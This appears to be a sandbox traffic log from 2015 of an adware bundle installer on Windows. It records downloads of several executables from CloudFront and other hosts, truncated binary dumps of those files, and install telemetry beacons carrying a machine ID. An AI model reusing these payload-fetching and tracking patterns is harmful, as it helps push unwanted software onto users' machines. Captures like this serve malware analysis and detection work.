GET /install.ashx?e=QgW8pN5r26bb6pdPc5QXF2lBVeUjsyYpyaqF0veJYHon W6mgwkV3fvMvmvRdHFgXKNbNNj7X1sST4rKteRix0jq2IY Ol30IKZx2SVSzVvxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UQBWGehDOL40qPeikK78R8xbc 92iXckP8dq552dZsrwGFvUtDb7RNdRX99ungVCjNg1jqLOYCUz1UWutdjAgqFU/GQ/6lQnvLO68mmZUli4qPeikK78R8xbc 92iXckPSZXO/B5hurhZv/JHT1RY7R a ue4NirQ3gfl7hBIS3pgZBHEXsyNbWynD/t/TSE8Wn2VgKtPO51I40lT/WTyfv3JjghBZswHrbrZPJWMRqeUQXQxZXIGTUFmrpPPnPUEPKp8MLmAxBRww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XcxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: dfb5uyoqjsg4c.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2024

Connection: keep-alive

Cache-Control: private,no-cache, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:18 GMT

X-Cache: Miss from cloudfront

Via: 1.1 ccd6cf345f24eef514e5a735474389cb.cloudfront.net (CloudFront)

X-Amz-Cf-Id: CStezQiOaUF6Ic-ePMgYXTiOldfcVs0_YJ9Fvl3XVqUsyhcxs0fqnA==
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O..}WYe.......OD....../5.Q..  w.......m.`......[...T......../.l...R.b_
.......KR.........H.n..e.....E..bk...<ROJ.....V..K.k1`.p.K.K.......
0...(......C~.....W0..(O..9.._."...~c.yzO...;....Aa....d...c....mu..y.
.1 ............m.`......[...T......../.l...[..,...XAa....d..cT:....W.{
.."......|........|....&.<..)K.2...._2.S.....?.F.....rlD..i0u...x..
u.a..W.%!...n`2x7..5..#....$.....r...g|/s.qqR...sB.4W....G....2......e
..s.....]._....R.f.z^B..\.^..P../..s$..VPf{...M3.._.[,...C.L.....$....
....N...{EB5.pI.y.&......". ....g0[..D6^...?...E..?1h........[..c....m
...Zl.37\.$.%...wY...B.)/.E.c.......m.`......[...T......../.l.....o.v.
.,z....9....>..T...K.0a.|!..._.....k....D....-........?.......C....
..J.{z.F...ja.S..q......'.pZ.Z.......B...... .....B.[_..u...L.*.B.....
...w....S[...a.....x"...Ie.n...\$H$......d.9..s.b.vc.2........E..."...
..x..fI."S...2.C.l........[..C....4rlD..i0u...x..u./.....d..?lk... .|.
..{(...$:......z..9K..*..~.....-..h....~...'.:1%.Uq..X....T. .5..5....
.c....mJr.....[B.<.Vn'........U<.n\.<.......>...j...?#....
..dd~6^...?...E..?1h........[..c....m..HM..#qb.......7..>...H.YIL.&
.Lk.yq...$...,Hu.p.!./8..I&.!,2..m#p.E%.Mq....../tNo.......-..X..#..ZM
..!Y..Y.aL.q..[\=/f..).-.RLZ.....@.a...&&.....'D6.n.}.AYR.F.Hc..).[o..
..mM.......E...".....x..fI."S...2.C.l........[...j.'y...c....mi..c~,5.
.B..k....rH.:.X.[<.....2wY\jA.QT.N]....._.1PC.Yc.y.....k.u3..j....7
....^........J.1$>...P..&....y.Y......l........#.n.....M3.._...<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP003C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 08 Jan 2015 09:33:07 GMT

Date: Wed, 07 Jan 2015 09:33:07 GMT

Content-Range: bytes 0-583407/583408

Content-Length: 583408

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
.................................................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@..@.data...x.......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
..nD..H.P.u..u..u...Hr@..B...SV.5.nD..E.WP.u...Lr@..e...E..E.P.u...Pr@
..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u
....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..
Tp@..u..5Xp@.W...E..E.h ...Pj.h..D.W..Xr@..u.W...u....E.P.u...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=250000-499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Range: bytes 250000-499999/1206160

X-Cache: Miss from cloudfront

Via: 1.1 f3fd7007399ffee5545abd851958bd02.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Q445XLatSdn4hnY8vF51GDFuWFcVeboDCZSENSLp-S4ht67KyVCtSg==
.W..V..YPW..$H....&F....$.....j.....$(......$......$.......$....j..C.$
......$.....D$....M.X9.$$....0.M..t$..C.$....9.$....S.C.$....9...M.W.C
...M.9.D.M...$L....C.0.M...$`.....C.$L...3.W.5..M.RQP..$....h..J.P....
...(..$....j.WhP.M..ES..3...$......$......$..........$....f..$......$(
..........d$,h.VK...R....$@......$@......$p....bc.......$(.....x..r...
P..$.....oR....$(....3.WC..$\...S..V..j.W.....$......$........d$4.C.$.
...P.L$P.KQ....$H......$H......$...........$H......$....P..$$....$P...
....$0......$`...P.JC....$(......$X...P..$......Q....$(......$X...WS..
V....$(......$....WS..U....$(......$....WS..U....$p..........$(.....W.
j....D$.[h.....*q....Y.T$,..$(......t:..$.......$p.....$.....C.$p.....
$.....Q.C.$....QP...........$(............3..D$$.D$(.D$..D$ .D$4.D$8.D
$$P..d.I..D$.P..h.I..G.j.j..H............x..G.j..H.........P..D$4P..h.
I..L$4 L$..T$8.T$ .^.....Y...K..T$(.L$$...D$,.C......L$,..^...XL$.f.(.
...D$......D$.Kj._..........^...K.QQ.L$L...D$........$(.....L$D...L$..
......$(...P.L$H.......$(......$(.....$<......$8....C.$(.......$<
;......$(....C.$(...PQ..$...........$(..........d$D3...$....j.SP..@...
.$@..........d$Dh.VK..fO....$X......$X....G...`..........0..$(....SW..
$......S....$(......$(...SW.......$(......$...........$......\....$(..
....$p...SW.QS....$(......$....SW.;S....$(......$....SW.%S....$(......
$....SW..S....$(......$@...SW..R....$(......$....SW..R....$(......$...
.Sj...R....$(.....$....Sj...R....$(......u..N?..3...$ ...d......Y_^[..
$....3...m....]...V.qP.........^..[..j4...I.........M....u.3....}.<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=750000-999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive

X.K.............8.M.h.K...K...K...K...K.X.K...K.......K.....x.M.......
..........P.....K...M.................P.....K.|.M.................@...
 .K...M.................@...0.K...............K...............K.....h.
......|.M. .K.....d.......|.M. .K.....P.......|.M. .K.............|.M.
 .K...............M.0.K...K.H.K...K...K.D.K.x.K...K.H.K.,.K...K.....,.
K...K.....H.K...K...K.D.K.x.K.......M.....(...........@...d.K.8.M.....
............@.....K...M.................@...d.K...M.................@.
..t.K...............K...............K...............K.....$.......8.M.
..K..... .......8.M...K.............8.M...K...K.X.K.l.K...K.\.K.....\.
M.................@.....K...............K.....$.......\.M...K..... ...
....\.M...K.............\.M...K.8.K...K...K...K...K...K...K.t.K.......
M.................P...H.K...M.................P.....K.x.M.............
....P.....K...M.................P.....K...M.................P.....K. .
M.................P.....K...M.................P...$.K...M.............
....@...T.K.............P.K...............M.T.K.....0.........M.T.K...
..,.........M.T.K...............M.T.K...............M.T.K.............
..M.T.K.H.K...K...K...K.D.K.x.K.,.K.H.K.,.K...K.....d.K...K.......K...
K...K.D.K.x.K.......M.....(...........@.....K...M.................@...
..K...M.................@.....K...M.................@.....K...........
....K...............K...............K.....$.........M...K..... .......
..M...K...............M...K.<.K.X.K...K...K.D.K.x.K.....X.K...K...K
.D.K.x.K.....h.M.................@.....K.,.M.................@...t

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1206159

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 151376

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:13 GMT

Content-Range: bytes 1000000-1151375/1206160

X-Cache: Miss from cloudfront

Via: 1.1 f3fd7007399ffee5545abd851958bd02.cloudfront.net (CloudFront)

X-Amz-Cf-Id: dlpBUN3nhz7y2UKU44odaFR2yoGux0doS5IGTVwCqimauEoQ7fuxLA==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 151376..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 07 Jan 2015 09:33:13 GMT..Content-Range: bytes 1000
000-1151375/1206160..X-Cache: Miss from cloudfront..Via: 1.1 f3fd70073
99ffee5545abd851958bd02.cloudfront.net (CloudFront)..X-Amz-Cf-Id: dlpB
UN3nhz7y2UKU44odaFR2yoGux0doS5IGTVwCqimauEoQ7fuxLA==..................
......................................................................
.................................................@....................
GGG888888.......................&&&&&&&...@@@@@@@(((((((........444444
4.....................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.@....................G8888888.......................&&&&&&....@@@@@@@
(((((((.......44444444................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /ytai.exe HTTP/1.1

Range: bytes=1000000-1206159

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 151376

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:15 GMT

Content-Range: bytes 1000000-1151375/1206160

X-Cache: Miss from cloudfront

Via: 1.1 f3fd7007399ffee5545abd851958bd02.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -o1YCNdMQSRyZL5QnX5o42pOZVUWnYOnATfZeF52uFYC0RA3860t1w==

HTTP/1.1 206 Partial Content..Content-Type: application/octet-stream..
Content-Length: 151376..Connection: keep-alive..Cache-Control: no-cach
e..Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT..Accept-Ranges: bytes.
.ETag: "76e36b728e29d01:0"..Server: Microsoft-IIS/7.5..X-Powered-By: A
SP.NET..Date: Wed, 07 Jan 2015 09:33:15 GMT..Content-Range: bytes 1000
000-1151375/1206160..X-Cache: Miss from cloudfront..Via: 1.1 f3fd70073
99ffee5545abd851958bd02.cloudfront.net (CloudFront)..X-Amz-Cf-Id: -o1Y
CNdMQSRyZL5QnX5o42pOZVUWnYOnATfZeF52uFYC0RA3860t1w==..................
......................................................................
.................................................@....................
GGG888888.......................&&&&&&&...@@@@@@@(((((((........444444
4.....................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.@....................G8888888.......................&&&&&&....@@@@@@@
(((((((.......44444444................................................
......................................................................
......................................................................
..................................................................

<<< skipped >>>

GET /ytai.exe HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3dle8xo1zpfnz.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1206160

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Tue, 06 Jan 2015 08:54:57 GMT

Accept-Ranges: bytes

ETag: "76e36b728e29d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:17 GMT

X-Cache: Miss from cloudfront

Via: 1.1 f3fd7007399ffee5545abd851958bd02.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XspjpxZSRj-j8B0eWzVUMX_-6YMsiM9eHLV6JuYONyyfZAjaDA1zMA==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$...................
......z.............nV\.......D.......{.......z.......................
........~.......@...............E.....Rich....................PE..L...
.F.T..........................................@.......................
...........z....@.................................$E..@...............
.....L..........|...................................X...@.............
...............................text............................... ..`
.rdata..(r.......t..................@..@.data....^...p...4...V........
......@....rsrc...............................@..@.reloc..|...........
................@..B..................................................
......................................................................
......................................................................
......................................................................
............................................U..Q.u.h..M.h..M..%...hp.I
...G..Y..].j..4.H.......e....D.M...I..E.......D.M...I..M..hz.I...G..Y.
*....j....H..O....M..h..I...G..Y......j....H.......M..h..I..oG..Y.....
....M..9...h..I..TG..Y..D.M......h..I..>G..Y.j....H.......e....L.M.
..I..M..h..I...G..Y......j....H.......e....H.M...I..E.......H.M...I..M
..h..I...F..Y.M....j...R..Y...M.....M..hhvJ....M......h6.I...F..Y.hhvJ
....M......hZ.I...F..Y.j....I..(....M..h~.I..iF..Y......hhvJ....M.....
.h..I..IF..Y.hhvJ....M......h..I...F..Y.hhvJ.. .M..x...h..I...F..Y

<<< skipped >>>

GET /dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&type=quick&topic=suzan_wdrun&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: q.pricejs.info


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:33:50 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:33:50 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
e, 14 Aug 2012 07:08:30 GMT..Server: nginx/1.4.7..Content-Length: 1..C
onnection: keep-alive.....

GET /sponsored/pricefountain/pricefountain.png HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: cdn.bisrv.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Content-Type: image/png

Content-Length: 3755

Connection: keep-alive

Server: nginx

Date: Mon, 22 Dec 2014 16:28:34 GMT

Last-Modified: Mon, 22 Dec 2014 13:21:34 GMT

ETag: "54981ade-eab"

Expires: Mon, 22 Dec 2014 16:38:34 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 3206

X-Cache: Hit from cloudfront

Via: 1.1 7aad4ce2407bb931683cbf2ff9587af8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: JjIcEJEJ0i9y5NEG_wa87QOlZ80598MuY2HzFahuCQKRXKv2sSd4WQ==
.PNG........IHDR...?...9.............sBIT....|.d....bIDATh...y...u.?..
m.......6....b.j..0.e.C..I.h .$R.ME.6.Q..R.)$4H.h.K..RP. MTHH. .`..6..
...x..........~o.3~ol..iF.~s....~.r....*.IJ..A...e$x>&QU2..].Y.%...
.....9.K....X.xl.......a..qDAE..X...:...N655.6._..|..|$.....O......0.Z
.!.k.......V.........._..G.....?..L..d....t..........peS.......v657...
.s.#....h..'q^z.}..........`....................s....|..U..=./...;..x.
O.....z.......P.#.n_..^v.[[.1....t......O.a.M.2re..;_#-....`.E.E...)..
..k...k.p..v..Y,...g...../...MA......M.....o.B..N.c.......k....?6...{8
8.@......|......7.~t..#/.D.]=...u.j.p..|. ....>..k........&.iv....g
..RasM..w.BC ...0U.PE.......<za/.....u......&..|.z6...U.i.z.f~ZC!..
..q..U....y......U.W..q.{..4..w..l...... #.q!........... ........*.A.5
.'..2.8.is.R.xUH:...F.A.....S=..h[#..:.....JY.[FG.\U..z...$...\.......
tx.]...M2?{..S..`[..#........Gff.yVRUT...&.H;K.....n..]...........c.}.
..cC;.Y.&......u..bxh.~...XU..1.NM.g..A..d(....H.to..._ya...1..'... .q
.[I..c..Y"Vxw...S.........':VpQc=..gxyx.i..y..$.......5]...Uy....[.}e.
.....X!6}%....V%.....V.(".Y.?........OU.%.<.7......|..m..4..G...|..
......4.(..0o .Z.........7.u3..Uq.r.{{......N...n!.U..'..s.......765.n
.......O......_.x........7.@.....S.%8..9..x.E..{.f~......F......t....o
...9..t....f..0........4....%..6giu...mQ6..........ukX...2.......2....
L..X...{.....Y...~.....$.S..Xj.<...E8..(.*..a.....mW.@W'.n.....^.?.
..."<.y#745z..Acx.XO.._..*:....0.1mc..^..X..... j...D...X..;....VS.
..{.........8.y..<.w..F..j...[.....g.@o2.....F}..>t"Wqi.ln`.<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?b4f4f5e2075a9e10 HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 03 Jul 2014 23:34:12 GMT

If-None-Match: "0b2464b1797cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Thu, 03 Jul 2014 23:34:12 GMT

ETag: "0b2464b1797cf1:0"

Cache-Control: max-age=86400

Date: Wed, 07 Jan 2015 09:34:40 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Thu, 03 Jul 2014 23:34:12 GMT..ETag: "0b2464b1797cf1:0"..C
ache-Control: max-age=86400..Date: Wed, 07 Jan 2015 09:34:40 GMT..Conn
ection: keep-alive..

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=1427328-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 203904

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1427328-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 a40df8536d823ad9767f3e132bc909ae.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OaRE7NDkPqxQqLbaBGhoLSCQe-jQ0067dIeeIh-mlDqy06ydeiZmQA==
.t......d...........^[Y]............S...\0F.....m.....2o....LF..@|....
...3....."....d....t...d......R.../....t.....>....4....u...........
[..U......=....U..E..E..@..u..\0F.....l..3.Uh.LD.d.0d. .E...4....t..E.
........3..E...'...E........t..E..........U...LF..GO...E...8.........E
...@.........E........m...U.....E......3.ZYYd..h.LD..\0F.....l....A...
...}..~..E..Q...YY]..U..QSVW.E..E.f.......tI3.Uh.MD.d.0d. .]..U.......
......3.ZYYd.....2....E.f....Z.....u..1.........E........t....E..B..._
^[Y].U..QSVW.E..E.f.......tA3.Uh.MD.d.0d. .]..U.............3.ZYYd....
......U...KF...q......._^[Y]...SVW........... .....t"..3... .....f....
......t.......!.._^[.SVWU..............p....,.r.tw..........}C........
t-.......u......A.. ............................G..........H....uz;~.u
u......C........td..........Y........t......}C..y.....t...........3;.H
...u.3........;.X...u.3........;.`...u.3...._.....P....t.......P......
S.]_^[...U..QSV...E..E..-...3.UhFQD.d.2d.".E.3...h....E.3...l....E.3..
.p...3...GF.4..U...4......E..R....E...\......\....E...p......L....E...
.....tC.E...\......LF.;B@t/.E...\...P..LF..@@P.E..ph.......P.|!.......
......LF..@@.U...\....E.........E...p...;..............E..a....E...p..
....E.......E........t#.E...p...PV.E...h...P..!...U...h....E........t#
.E...p...PV.E...l...P.. ...U...l....E....... tF.E...p...PV.E.......P..
 ...U........E...p...PV.E.......P.. ...U........E...h.....~....E...r..
.E...l.....~....E...r...E...TQD.........u$...........E..K.............
.E......j.3..=....E......3.ZYYd..hMQD..E..............^[Y].......S<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=611712-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 1019520

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 611712-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 2dc430fff474a8f2dc029f6910b5eecc.cloudfront.net (CloudFront)

X-Amz-Cf-Id: G_7joiRXhnRvegeTiV4Mup7qVeWE0hpbZlUetE-3vS3C5shlsdj_qQ==

eateMutexW....WaitForSingleObject...GetEnvironmentVariableA.^.MoveFile
A...GetCurrentThreadId....ReleaseMutex..>.LoadLibraryExW....QueryDo
sDeviceW.[.Module32FirstW..].Module32NextW...GetFileSize...ReadFile...
.CreateFileW...GetComputerNameW..p.GetSystemDirectoryW...GetVolumeInfo
rmationW.KERNEL32.dll....MessageBoxW...LoadStringW...GetWindowThreadPr
ocessId....EnumWindows.6.PostMessageW..3.wsprintfW.USER32.dll..0.RegCl
oseKey.a.RegOpenKeyExW.n.RegQueryValueExW..P.RegEnumKeyW.9.RegCreateKe
yExW.O.RegEnumKeyExW.e.GetUserNameW..H.RegDeleteValueW.~.RegSetValueEx
W..D.RegDeleteKeyW.R.RegEnumValueW.t.ConvertStringSidToSidW..B.GetName
dSecurityInfoW.=.BuildExplicitAccessWithNameW....SetEntriesInAclW....S
etNamedSecurityInfoW...OpenProcessToken..Z.GetTokenInformation.l.Conve
rtSidToStringSidW....LookupAccountNameW..ADVAPI32.dll....CommandLineTo
ArgvW....SHGetFolderPathW..".ShellExecuteW...SHGetSpecialFolderPathW.S
HELL32.dll.>.CoInitialize....CoCreateInstance..l.CoUninitialize..?.
CoInitializeEx..@.CoInitializeSecurity..h.CoTaskMemFree...CLSIDFromStr
ing.ole32.dll.OLEAUT32.dll..4.PathAppendW.I.PathFindFileNameW...PathRe
moveFileSpecW.3.PathAppendA.E.PathFileExistsW.SHLWAPI.dll...GetModuleB
aseNameW....EnumProcessModules..PSAPI.DLL...WinHttpReceiveResponse....
WinHttpSetTimeouts....WinHttpSetOption....WinHttpSendRequest....WinHtt
pWriteData....WinHttpConnect....WinHttpCloseHandle....WinHttpQueryHead
ers...WinHttpQueryDataAvailable...WinHttpOpen...WinHttpOpenRequest....
WinHttpReadData...WinHttpAddRequestHeaders..WINHTTP.dll...UuidCrea

<<< skipped >>>

GET /home/smt_mystartsearch.exe HTTP/1.1

Range: bytes=115620-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlzhangwei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 07 Jan 2015 09:33:10 GMT

Content-Type: application/octet-stream

Content-Length: 192700

Last-Modified: Wed, 07 Jan 2015 02:46:14 GMT

Connection: keep-alive

Expires: Sat, 10 Jan 2015 09:33:10 GMT

Cache-Control: max-age=259200

Content-Range: bytes 115620-308319/308320

e.s.-.d.o...e.s.-.e.c...e.s.-.e.s...e.s.-.g.t...e.s.-.h.n...e.s.-.m.x.
..e.s.-.n.i...e.s.-.p.a...e.s.-.p.e...e.s.-.p.r...e.s.-.p.y...e.s.-.s.
v...e.s.-.u.y...e.s.-.v.e...e.t.-.e.e...e.u.-.e.s...f.a.-.i.r...f.i.-.
f.i...f.o.-.f.o...f.r.-.b.e...f.r.-.c.a...f.r.-.c.h...f.r.-.f.r...f.r.
-.l.u...f.r.-.m.c...g.l.-.e.s...g.u.-.i.n...h.e.-.i.l...h.i.-.i.n...h.
r.-.b.a...h.r.-.h.r...h.u.-.h.u...h.y.-.a.m...i.d.-.i.d...i.s.-.i.s...
i.t.-.c.h...i.t.-.i.t...j.a.-.j.p...k.a.-.g.e...k.k.-.k.z...k.n.-.i.n.
..k.o.k.-.i.n.....k.o.-.k.r...k.y.-.k.g...l.t.-.l.t...l.v.-.l.v...m.i.
-.n.z...m.k.-.m.k...m.l.-.i.n...m.n.-.m.n...m.r.-.i.n...m.s.-.b.n...m.
s.-.m.y...m.t.-.m.t...n.b.-.n.o...n.l.-.b.e...n.l.-.n.l...n.n.-.n.o...
n.s.-.z.a...p.a.-.i.n...p.l.-.p.l...p.t.-.b.r...p.t.-.p.t...q.u.z.-.b.
o.....q.u.z.-.e.c.....q.u.z.-.p.e.....r.o.-.r.o...r.u.-.r.u...s.a.-.i.
n...s.e.-.f.i...s.e.-.n.o...s.e.-.s.e...s.k.-.s.k...s.l.-.s.i...s.m.a.
-.n.o.....s.m.a.-.s.e.....s.m.j.-.n.o.....s.m.j.-.s.e.....s.m.n.-.f.i.
....s.m.s.-.f.i.....s.q.-.a.l...s.r.-.b.a.-.c.y.r.l.....s.r.-.b.a.-.l.
a.t.n.....s.r.-.s.p.-.c.y.r.l.....s.r.-.s.p.-.l.a.t.n.....s.v.-.f.i...
s.v.-.s.e...s.w.-.k.e...s.y.r.-.s.y.....t.a.-.i.n...t.e.-.i.n...t.h.-.
t.h...t.n.-.z.a...t.r.-.t.r...t.t.-.r.u...u.k.-.u.a...u.r.-.p.k...u.z.
-.u.z.-.c.y.r.l.....u.z.-.u.z.-.l.a.t.n.....v.i.-.v.n...x.h.-.z.a...z.
h.-.c.h.s.....z.h.-.c.h.t.....z.h.-.c.n...z.h.-.h.k...z.h.-.m.o...z.h.
-.s.g...z.h.-.t.w...z.u.-.z.a...................................... !"
#$%&'()* ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^

<<< skipped >>>

GET /dealdo/event-report?instgrp=20141204__1086__lnk_aromani_70&rand=765184&opdom=pricejs.net&type=quick&topic=suzan_exestrt&partner=somopf&channel=somopf&ver=1086&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e HTTP/1.1

Cache-Control: no-cache

Connection: Keep-Alive

Pragma: no-cache

User-Agent: WinHTTP/1.0

Host: q.pricejs.info


HTTP/1.1 200 OK

Accept-Ranges: bytes

Content-Type: text/plain

Date: Wed, 07 Jan 2015 09:33:50 GMT

ETag: "5029f96e-1"

Last-Modified: Tue, 14 Aug 2012 07:08:30 GMT

Server: nginx/1.4.7

Content-Length: 1

Connection: keep-alive

.HTTP/1.1 200 OK..Accept-Ranges: bytes..Content-Type: text/plain..Date
: Wed, 07 Jan 2015 09:33:50 GMT..ETag: "5029f96e-1"..Last-Modified: Tu
